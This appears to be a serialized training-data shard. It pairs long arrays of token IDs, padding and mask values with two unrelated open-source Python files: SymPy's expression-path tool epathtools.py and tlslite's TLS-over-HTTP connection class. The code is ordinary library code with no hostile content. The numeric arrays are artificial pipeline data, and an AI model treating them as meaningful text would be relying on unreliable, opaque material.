32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
elkingtonmcb/sympy
sympy/simplify/epathtools.py
97
10248
"""Tools for manipulation of expressions using paths. """ from __future__ import print_function, division from sympy.core.compatibility import range from sympy.core import Basic class EPath(object): r""" Manipulate expressions using paths. EPath grammar in EBNF notation:: literal ::= /[A-Za-z_][A-Za-z_0-9]*/ number ::= /-?\d+/ type ::= literal attribute ::= literal "?" all ::= "*" slice ::= "[" number? (":" number? (":" number?)?)? "]" range ::= all | slice query ::= (type | attribute) ("|" (type | attribute))* selector ::= range | query range? path ::= "/" selector ("/" selector)* See the docstring of the epath() function. """ __slots__ = ["_path", "_epath"] def __new__(cls, path): """Construct new EPath. """ if isinstance(path, EPath): return path if not path: raise ValueError("empty EPath") _path = path if path[0] == '/': path = path[1:] else: raise NotImplementedError("non-root EPath") epath = [] for selector in path.split('/'): selector = selector.strip() if not selector: raise ValueError("empty selector") index = 0 for c in selector: if c.isalnum() or c == '_' or c == '|' or c == '?': index += 1 else: break attrs = [] types = [] if index: elements = selector[:index] selector = selector[index:] for element in elements.split('|'): element = element.strip() if not element: raise ValueError("empty element") if element.endswith('?'): attrs.append(element[:-1]) else: types.append(element) span = None if selector == '*': pass else: if selector.startswith('['): try: i = selector.index(']') except ValueError: raise ValueError("expected ']', got EOL") _span, span = selector[1:i], [] if ':' not in _span: span = int(_span) else: for elt in _span.split(':', 3): if not elt: span.append(None) else: span.append(int(elt)) span = slice(*span) selector = selector[i + 1:] if selector: raise ValueError("trailing characters in selector") epath.append((attrs, types, span)) obj = object.__new__(cls) obj._path = _path obj._epath = epath return obj def __repr__(self): return "%s(%r)" % (self.__class__.__name__, self._path) def _get_ordered_args(self, expr): """Sort ``expr.args`` using printing order. """ if expr.is_Add: return expr.as_ordered_terms() elif expr.is_Mul: return expr.as_ordered_factors() else: return expr.args def _hasattrs(self, expr, attrs): """Check if ``expr`` has any of ``attrs``. """ for attr in attrs: if not hasattr(expr, attr): return False return True def _hastypes(self, expr, types): """Check if ``expr`` is any of ``types``. """ _types = [ cls.__name__ for cls in expr.__class__.mro() ] return bool(set(_types).intersection(types)) def _has(self, expr, attrs, types): """Apply ``_hasattrs`` and ``_hastypes`` to ``expr``. """ if not (attrs or types): return True if attrs and self._hasattrs(expr, attrs): return True if types and self._hastypes(expr, types): return True return False def apply(self, expr, func, args=None, kwargs=None): """ Modify parts of an expression selected by a path. Examples ======== >>> from sympy.simplify.epathtools import EPath >>> from sympy import sin, cos, E >>> from sympy.abc import x, y, z, t >>> path = EPath("/*/[0]/Symbol") >>> expr = [((x, 1), 2), ((3, y), z)] >>> path.apply(expr, lambda expr: expr**2) [((x**2, 1), 2), ((3, y**2), z)] >>> path = EPath("/*/*/Symbol") >>> expr = t + sin(x + 1) + cos(x + y + E) >>> path.apply(expr, lambda expr: 2*expr) t + sin(2*x + 1) + cos(2*x + 2*y + E) """ def _apply(path, expr, func): if not path: return func(expr) else: selector, path = path[0], path[1:] attrs, types, span = selector if isinstance(expr, Basic): if not expr.is_Atom: args, basic = self._get_ordered_args(expr), True else: return expr elif hasattr(expr, '__iter__'): args, basic = expr, False else: return expr args = list(args) if span is not None: if type(span) == slice: indices = range(*span.indices(len(args))) else: indices = [span] else: indices = range(len(args)) for i in indices: try: arg = args[i] except IndexError: continue if self._has(arg, attrs, types): args[i] = _apply(path, arg, func) if basic: return expr.func(*args) else: return expr.__class__(args) _args, _kwargs = args or (), kwargs or {} _func = lambda expr: func(expr, *_args, **_kwargs) return _apply(self._epath, expr, _func) def select(self, expr): """ Retrieve parts of an expression selected by a path. Examples ======== >>> from sympy.simplify.epathtools import EPath >>> from sympy import sin, cos, E >>> from sympy.abc import x, y, z, t >>> path = EPath("/*/[0]/Symbol") >>> expr = [((x, 1), 2), ((3, y), z)] >>> path.select(expr) [x, y] >>> path = EPath("/*/*/Symbol") >>> expr = t + sin(x + 1) + cos(x + y + E) >>> path.select(expr) [x, x, y] """ result = [] def _select(path, expr): if not path: result.append(expr) else: selector, path = path[0], path[1:] attrs, types, span = selector if isinstance(expr, Basic): args = self._get_ordered_args(expr) elif hasattr(expr, '__iter__'): args = expr else: return if span is not None: if type(span) == slice: args = args[span] else: try: args = [args[span]] except IndexError: return for arg in args: if self._has(arg, attrs, types): _select(path, arg) _select(self._epath, expr) return result def epath(path, expr=None, func=None, args=None, kwargs=None): r""" Manipulate parts of an expression selected by a path. This function allows to manipulate large nested expressions in single line of code, utilizing techniques to those applied in XML processing standards (e.g. XPath). If ``func`` is ``None``, :func:`epath` retrieves elements selected by the ``path``. Otherwise it applies ``func`` to each matching element. Note that it is more efficient to create an EPath object and use the select and apply methods of that object, since this will compile the path string only once. This function should only be used as a convenient shortcut for interactive use. This is the supported syntax: * select all: ``/*`` Equivalent of ``for arg in args:``. * select slice: ``/[0]`` or ``/[1:5]`` or ``/[1:5:2]`` Supports standard Python's slice syntax. * select by type: ``/list`` or ``/list|tuple`` Emulates :func:`isinstance`. * select by attribute: ``/__iter__?`` Emulates :func:`hasattr`. Parameters ========== path : str | EPath A path as a string or a compiled EPath. expr : Basic | iterable An expression or a container of expressions. func : callable (optional) A callable that will be applied to matching parts. args : tuple (optional) Additional positional arguments to ``func``. kwargs : dict (optional) Additional keyword arguments to ``func``. Examples ======== >>> from sympy.simplify.epathtools import epath >>> from sympy import sin, cos, E >>> from sympy.abc import x, y, z, t >>> path = "/*/[0]/Symbol" >>> expr = [((x, 1), 2), ((3, y), z)] >>> epath(path, expr) [x, y] >>> epath(path, expr, lambda expr: expr**2) [((x**2, 1), 2), ((3, y**2), z)] >>> path = "/*/*/Symbol" >>> expr = t + sin(x + 1) + cos(x + y + E) >>> epath(path, expr) [x, x, y] >>> epath(path, expr, lambda expr: 2*expr) t + sin(2*x + 1) + cos(2*x + 2*y + E) """ _epath = EPath(path) if expr is None: return _epath if func is None: return _epath.select(expr) else: return _epath.apply(expr, func, args, kwargs)
bsd-3-clause
[ 624, 11654, 367, 26212, 402, 8455, 1808, 3792, 14, 408, 199, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 12, 4629, 199, 504, 5840, 14, 1018, 14, 15390, 492, 1425, 199, 199, 504, 5840, 14, 1018, 492, 10082, 421, 199, 533, 662, 2042, 8, 785, 304, 272, 519, 624, 272, 4688, 711, 5434, 8455, 1808, 3792, 14, 339, 662, 2042, 12528, 315, 662, 18273, 38, 15843, 447, 398, 8785, 257, 11351, 1182, 59, 33, 13, 13163, 13, 90, 17900, 33, 13, 13163, 13, 90, 63, 16, 13, 25, 3672, 15, 267, 1329, 259, 11351, 1182, 13, 8995, 68, 19616, 267, 730, 420, 11351, 8785, 267, 2225, 11351, 8785, 29325, 267, 1006, 755, 11351, 22423, 267, 6014, 258, 11351, 32607, 1329, 31, 334, 5122, 1329, 31, 334, 5122, 1329, 31, 5547, 5547, 298, 8480, 267, 1425, 258, 11351, 1006, 1204, 6014, 267, 1827, 258, 11351, 334, 466, 1204, 2225, 9, 1689, 25576, 334, 466, 1204, 2225, 19198, 267, 9759, 221, 11351, 1425, 1204, 1827, 1425, 31, 267, 931, 420, 11351, 10609, 9759, 1689, 6687, 9759, 3342, 339, 1666, 314, 9214, 402, 314, 325, 515, 342, 805, 14, 339, 408, 339, 636, 7257, 363, 275, 2097, 63, 515, 401, 2668, 69, 515, 937, 339, 347, 636, 1222, 721, 1886, 12, 931, 304, 267, 408, 11493, 892, 662, 2042, 14, 408, 267, 340, 1228, 8, 515, 12, 662, 2042, 304, 288, 372, 931, 398, 340, 440, 931, 26, 288, 746, 1722, 480, 1667, 662, 2042, 531, 398, 485, 515, 275, 931, 398, 340, 931, 59, 16, 61, 508, 20549, 288, 931, 275, 931, 59, 17, 2938, 267, 587, 26, 288, 746, 4279, 480, 2865, 13, 1231, 662, 2042, 531, 398, 325, 515, 275, 942, 398, 367, 9759, 315, 931, 14, 1294, 18265, 288, 9759, 275, 9759, 14, 1913, 342, 953, 340, 440, 9759, 26, 355, 746, 1722, 480, 1667, 9759, 531, 953, 1478, 275, 378, 953, 367, 286, 315, 9759, 26, 355, 340, 286, 14, 28235, 1507, 342, 503, 286, 508, 14135, 503, 286, 508, 24628, 503, 286, 508, 8720, 356, 490, 1478, 847, 413, 355, 587, 26, 490, 2059, 953, 3290, 275, 942, 288, 2943, 275, 942, 953, 340, 1478, 26, 355, 4008, 275, 9759, 1491, 1080, 61, 355, 9759, 275, 9759, 59, 1080, 2938, 2234, 367, 1819, 315, 4008, 14, 1294, 20137, 735, 490, 1819, 275, 1819, 14, 1913, 342, 4951, 340, 440, 1819, 26, 717, 746, 1722, 480, 1667, 1819, 531, 4951, 340, 1819, 14, 4130, 360, 31, 735, 717, 3290, 14, 740, 8, 2108, 4439, 17, 566, 490, 587, 26, 717, 2943, 14, 740, 8, 2108, 9, 953, 13598, 275, 488, 953, 340, 9759, 508, 22969, 355, 986, 288, 587, 26, 355, 340, 9759, 14, 2460, 360, 459, 304, 490, 862, 26, 717, 284, 275, 9759, 14, 1080, 360, 10374, 490, 871, 1722, 26, 717, 746, 1722, 480, 2062, 283, 4300, 4788, 662, 2228, 531, 4951, 485, 3751, 12, 13598, 275, 9759, 59, 17, 26, 73, 467, 942, 4951, 340, 10871, 440, 315, 485, 3751, 26, 717, 13598, 275, 1109, 1547, 3751, 9, 490, 587, 26, 717, 367, 18409, 315, 485, 3751, 14, 1294, 16451, 650, 304, 1169, 340, 440, 18409, 26, 1816, 13598, 14, 740, 8, 403, 9, 1169, 587, 26, 1816, 13598, 14, 740, 8, 442, 8, 15330, 430, 9453, 13598, 275, 6014, 2031, 3751, 9, 4951, 9759, 275, 9759, 59, 73, 435, 413, 2938, 2234, 340, 9759, 26, 490, 746, 1722, 480, 15910, 4110, 315, 9759, 531, 953, 325, 515, 14, 740, 1332, 3288, 12, 2943, 12, 13598, 430, 398, 1559, 275, 909, 855, 1222, 721, 1886, 9, 398, 1559, 423, 515, 275, 485, 515, 267, 1559, 423, 69, 515, 275, 325, 515, 398, 372, 1559, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 2071, 83, 4042, 82, 2924, 450, 334, 277, 855, 533, 4914, 354, 3108, 291, 423, 515, 9, 339, 347, 485, 362, 63, 8235, 63, 589, 8, 277, 12, 5348, 304, 267, 408, 14376, 1124, 3684, 14, 589, 1040, 1808, 16116, 1865, 14, 408, 267, 340, 5348, 14, 374, 63, 1123, 26, 288, 372, 5348, 14, 305, 63, 8235, 63, 9187, 342, 267, 916, 5348, 14, 374, 63, 16867, 26, 288, 372, 5348, 14, 305, 63, 8235, 63, 16125, 342, 267, 587, 26, 288, 372, 5348, 14, 589, 339, 347, 485, 1989, 3288, 8, 277, 12, 5348, 12, 3290, 304, 267, 408, 1799, 340, 1124, 3684, 1040, 965, 1263, 402, 1124, 3288, 4345, 408, 267, 367, 1921, 315, 3290, 26, 288, 340, 440, 2688, 8, 3684, 12, 1921, 304, 355, 372, 756, 398, 372, 715, 339, 347, 485, 72, 6041, 83, 8, 277, 12, 5348, 12, 2943, 304, 267, 408, 1799, 340, 1124, 3684, 1040, 365, 1263, 402, 1124, 1313, 4345, 408, 267, 485, 1313, 275, 359, 843, 855, 354, 363, 367, 843, 315, 5348, 855, 533, 4343, 17335, 342, 1622, 267, 372, 2155, 8, 409, 1547, 1313, 680, 12569, 8, 1313, 430, 339, 347, 485, 1989, 8, 277, 12, 5348, 12, 3290, 12, 2943, 304, 267, 408, 16581, 24507, 1989, 3288, 1040, 436, 24507, 72, 6041, 83, 1040, 370, 1124, 3684, 4345, 408, 267, 340, 440, 334, 3288, 503, 2943, 304, 288, 372, 715, 398, 340, 3290, 436, 291, 423, 1989, 3288, 8, 3684, 12, 3290, 304, 288, 372, 715, 398, 340, 2943, 436, 291, 423, 72, 6041, 83, 8, 3684, 12, 2943, 304, 288, 372, 715, 398, 372, 756, 339, 347, 4838, 8, 277, 12, 5348, 12, 2562, 12, 1249, 29, 403, 12, 2074, 29, 403, 304, 267, 408, 267, 22520, 4184, 402, 376, 3965, 4895, 701, 282, 931, 14, 398, 6058, 267, 12655, 398, 1306, 687, 5840, 14, 19084, 14, 69, 515, 2537, 492, 662, 2042, 267, 1306, 687, 5840, 492, 9829, 12, 9794, 12, 662, 267, 1306, 687, 5840, 14, 3175, 492, 671, 12, 612, 12, 1315, 12, 307, 398, 1306, 931, 275, 662, 2042, 4769, 15870, 59, 16, 12978, 8169, 531, 267, 1306, 5348, 275, 359, 1332, 88, 12, 413, 395, 499, 395, 3666, 19, 12, 612, 395, 1315, 1874, 398, 1306, 931, 14, 4998, 8, 3684, 12, 2400, 5348, 26, 5348, 538, 18, 9, 267, 359, 1332, 88, 538, 18, 12, 413, 395, 499, 395, 3666, 19, 12, 612 ]
[ 11654, 367, 26212, 402, 8455, 1808, 3792, 14, 408, 199, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 12, 4629, 199, 504, 5840, 14, 1018, 14, 15390, 492, 1425, 199, 199, 504, 5840, 14, 1018, 492, 10082, 421, 199, 533, 662, 2042, 8, 785, 304, 272, 519, 624, 272, 4688, 711, 5434, 8455, 1808, 3792, 14, 339, 662, 2042, 12528, 315, 662, 18273, 38, 15843, 447, 398, 8785, 257, 11351, 1182, 59, 33, 13, 13163, 13, 90, 17900, 33, 13, 13163, 13, 90, 63, 16, 13, 25, 3672, 15, 267, 1329, 259, 11351, 1182, 13, 8995, 68, 19616, 267, 730, 420, 11351, 8785, 267, 2225, 11351, 8785, 29325, 267, 1006, 755, 11351, 22423, 267, 6014, 258, 11351, 32607, 1329, 31, 334, 5122, 1329, 31, 334, 5122, 1329, 31, 5547, 5547, 298, 8480, 267, 1425, 258, 11351, 1006, 1204, 6014, 267, 1827, 258, 11351, 334, 466, 1204, 2225, 9, 1689, 25576, 334, 466, 1204, 2225, 19198, 267, 9759, 221, 11351, 1425, 1204, 1827, 1425, 31, 267, 931, 420, 11351, 10609, 9759, 1689, 6687, 9759, 3342, 339, 1666, 314, 9214, 402, 314, 325, 515, 342, 805, 14, 339, 408, 339, 636, 7257, 363, 275, 2097, 63, 515, 401, 2668, 69, 515, 937, 339, 347, 636, 1222, 721, 1886, 12, 931, 304, 267, 408, 11493, 892, 662, 2042, 14, 408, 267, 340, 1228, 8, 515, 12, 662, 2042, 304, 288, 372, 931, 398, 340, 440, 931, 26, 288, 746, 1722, 480, 1667, 662, 2042, 531, 398, 485, 515, 275, 931, 398, 340, 931, 59, 16, 61, 508, 20549, 288, 931, 275, 931, 59, 17, 2938, 267, 587, 26, 288, 746, 4279, 480, 2865, 13, 1231, 662, 2042, 531, 398, 325, 515, 275, 942, 398, 367, 9759, 315, 931, 14, 1294, 18265, 288, 9759, 275, 9759, 14, 1913, 342, 953, 340, 440, 9759, 26, 355, 746, 1722, 480, 1667, 9759, 531, 953, 1478, 275, 378, 953, 367, 286, 315, 9759, 26, 355, 340, 286, 14, 28235, 1507, 342, 503, 286, 508, 14135, 503, 286, 508, 24628, 503, 286, 508, 8720, 356, 490, 1478, 847, 413, 355, 587, 26, 490, 2059, 953, 3290, 275, 942, 288, 2943, 275, 942, 953, 340, 1478, 26, 355, 4008, 275, 9759, 1491, 1080, 61, 355, 9759, 275, 9759, 59, 1080, 2938, 2234, 367, 1819, 315, 4008, 14, 1294, 20137, 735, 490, 1819, 275, 1819, 14, 1913, 342, 4951, 340, 440, 1819, 26, 717, 746, 1722, 480, 1667, 1819, 531, 4951, 340, 1819, 14, 4130, 360, 31, 735, 717, 3290, 14, 740, 8, 2108, 4439, 17, 566, 490, 587, 26, 717, 2943, 14, 740, 8, 2108, 9, 953, 13598, 275, 488, 953, 340, 9759, 508, 22969, 355, 986, 288, 587, 26, 355, 340, 9759, 14, 2460, 360, 459, 304, 490, 862, 26, 717, 284, 275, 9759, 14, 1080, 360, 10374, 490, 871, 1722, 26, 717, 746, 1722, 480, 2062, 283, 4300, 4788, 662, 2228, 531, 4951, 485, 3751, 12, 13598, 275, 9759, 59, 17, 26, 73, 467, 942, 4951, 340, 10871, 440, 315, 485, 3751, 26, 717, 13598, 275, 1109, 1547, 3751, 9, 490, 587, 26, 717, 367, 18409, 315, 485, 3751, 14, 1294, 16451, 650, 304, 1169, 340, 440, 18409, 26, 1816, 13598, 14, 740, 8, 403, 9, 1169, 587, 26, 1816, 13598, 14, 740, 8, 442, 8, 15330, 430, 9453, 13598, 275, 6014, 2031, 3751, 9, 4951, 9759, 275, 9759, 59, 73, 435, 413, 2938, 2234, 340, 9759, 26, 490, 746, 1722, 480, 15910, 4110, 315, 9759, 531, 953, 325, 515, 14, 740, 1332, 3288, 12, 2943, 12, 13598, 430, 398, 1559, 275, 909, 855, 1222, 721, 1886, 9, 398, 1559, 423, 515, 275, 485, 515, 267, 1559, 423, 69, 515, 275, 325, 515, 398, 372, 1559, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 2071, 83, 4042, 82, 2924, 450, 334, 277, 855, 533, 4914, 354, 3108, 291, 423, 515, 9, 339, 347, 485, 362, 63, 8235, 63, 589, 8, 277, 12, 5348, 304, 267, 408, 14376, 1124, 3684, 14, 589, 1040, 1808, 16116, 1865, 14, 408, 267, 340, 5348, 14, 374, 63, 1123, 26, 288, 372, 5348, 14, 305, 63, 8235, 63, 9187, 342, 267, 916, 5348, 14, 374, 63, 16867, 26, 288, 372, 5348, 14, 305, 63, 8235, 63, 16125, 342, 267, 587, 26, 288, 372, 5348, 14, 589, 339, 347, 485, 1989, 3288, 8, 277, 12, 5348, 12, 3290, 304, 267, 408, 1799, 340, 1124, 3684, 1040, 965, 1263, 402, 1124, 3288, 4345, 408, 267, 367, 1921, 315, 3290, 26, 288, 340, 440, 2688, 8, 3684, 12, 1921, 304, 355, 372, 756, 398, 372, 715, 339, 347, 485, 72, 6041, 83, 8, 277, 12, 5348, 12, 2943, 304, 267, 408, 1799, 340, 1124, 3684, 1040, 365, 1263, 402, 1124, 1313, 4345, 408, 267, 485, 1313, 275, 359, 843, 855, 354, 363, 367, 843, 315, 5348, 855, 533, 4343, 17335, 342, 1622, 267, 372, 2155, 8, 409, 1547, 1313, 680, 12569, 8, 1313, 430, 339, 347, 485, 1989, 8, 277, 12, 5348, 12, 3290, 12, 2943, 304, 267, 408, 16581, 24507, 1989, 3288, 1040, 436, 24507, 72, 6041, 83, 1040, 370, 1124, 3684, 4345, 408, 267, 340, 440, 334, 3288, 503, 2943, 304, 288, 372, 715, 398, 340, 3290, 436, 291, 423, 1989, 3288, 8, 3684, 12, 3290, 304, 288, 372, 715, 398, 340, 2943, 436, 291, 423, 72, 6041, 83, 8, 3684, 12, 2943, 304, 288, 372, 715, 398, 372, 756, 339, 347, 4838, 8, 277, 12, 5348, 12, 2562, 12, 1249, 29, 403, 12, 2074, 29, 403, 304, 267, 408, 267, 22520, 4184, 402, 376, 3965, 4895, 701, 282, 931, 14, 398, 6058, 267, 12655, 398, 1306, 687, 5840, 14, 19084, 14, 69, 515, 2537, 492, 662, 2042, 267, 1306, 687, 5840, 492, 9829, 12, 9794, 12, 662, 267, 1306, 687, 5840, 14, 3175, 492, 671, 12, 612, 12, 1315, 12, 307, 398, 1306, 931, 275, 662, 2042, 4769, 15870, 59, 16, 12978, 8169, 531, 267, 1306, 5348, 275, 359, 1332, 88, 12, 413, 395, 499, 395, 3666, 19, 12, 612, 395, 1315, 1874, 398, 1306, 931, 14, 4998, 8, 3684, 12, 2400, 5348, 26, 5348, 538, 18, 9, 267, 359, 1332, 88, 538, 18, 12, 413, 395, 499, 395, 3666, 19, 12, 612, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ric2b/Vivaldi-browser
chromium/third_party/tlslite/tlslite/integration/httptlsconnection.py
115
4314
# Authors: # Trevor Perrin # Kees Bos - Added ignoreAbruptClose parameter # Dimitris Moraitis - Anon ciphersuites # Martin von Loewis - python 3 port # # See the LICENSE file for legal information regarding use of this file. """TLS Lite + httplib.""" import socket try: import httplib except ImportError: # Python 3 from http import client as httplib from tlslite.tlsconnection import TLSConnection from tlslite.integration.clienthelper import ClientHelper class HTTPTLSConnection(httplib.HTTPConnection, ClientHelper): """This class extends L{httplib.HTTPConnection} to support TLS.""" def __init__(self, host, port=None, strict=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT, source_address=None, username=None, password=None, certChain=None, privateKey=None, checker=None, settings=None, ignoreAbruptClose=False, anon=False): """Create a new HTTPTLSConnection. For client authentication, use one of these argument combinations: - username, password (SRP) - certChain, privateKey (certificate) For server authentication, you can either rely on the implicit mutual authentication performed by SRP or you can do certificate-based server authentication with one of these argument combinations: - x509Fingerprint Certificate-based server authentication is compatible with SRP or certificate-based client authentication. The constructor does not perform the TLS handshake itself, but simply stores these arguments for later. The handshake is performed only when this class needs to connect with the server. Thus you should be prepared to handle TLS-specific exceptions when calling methods inherited from L{httplib.HTTPConnection} such as request(), connect(), and send(). See the client handshake functions in L{tlslite.TLSConnection.TLSConnection} for details on which exceptions might be raised. @type host: str @param host: Server to connect to. @type port: int @param port: Port to connect to. @type username: str @param username: SRP username. Requires the 'password' argument. @type password: str @param password: SRP password for mutual authentication. Requires the 'username' argument. @type certChain: L{tlslite.x509certchain.X509CertChain} or @param certChain: Certificate chain for client authentication. Requires the 'privateKey' argument. Excludes the SRP arguments. @type privateKey: L{tlslite.utils.rsakey.RSAKey} @param privateKey: Private key for client authentication. Requires the 'certChain' argument. Excludes the SRP arguments. @type checker: L{tlslite.checker.Checker} @param checker: Callable object called after handshaking to evaluate the connection and raise an Exception if necessary. @type settings: L{tlslite.handshakesettings.HandshakeSettings} @param settings: Various settings which can be used to control the ciphersuites, certificate types, and SSL/TLS versions offered by the client. @type ignoreAbruptClose: bool @param ignoreAbruptClose: ignore the TLSAbruptCloseError on unexpected hangup. """ if source_address: httplib.HTTPConnection.__init__(self, host, port, strict, timeout, source_address) if not source_address: httplib.HTTPConnection.__init__(self, host, port, strict, timeout) self.ignoreAbruptClose = ignoreAbruptClose ClientHelper.__init__(self, username, password, certChain, privateKey, checker, settings, anon) def connect(self): httplib.HTTPConnection.connect(self) self.sock = TLSConnection(self.sock) self.sock.ignoreAbruptClose = self.ignoreAbruptClose ClientHelper._handshake(self, self.sock)
bsd-3-clause
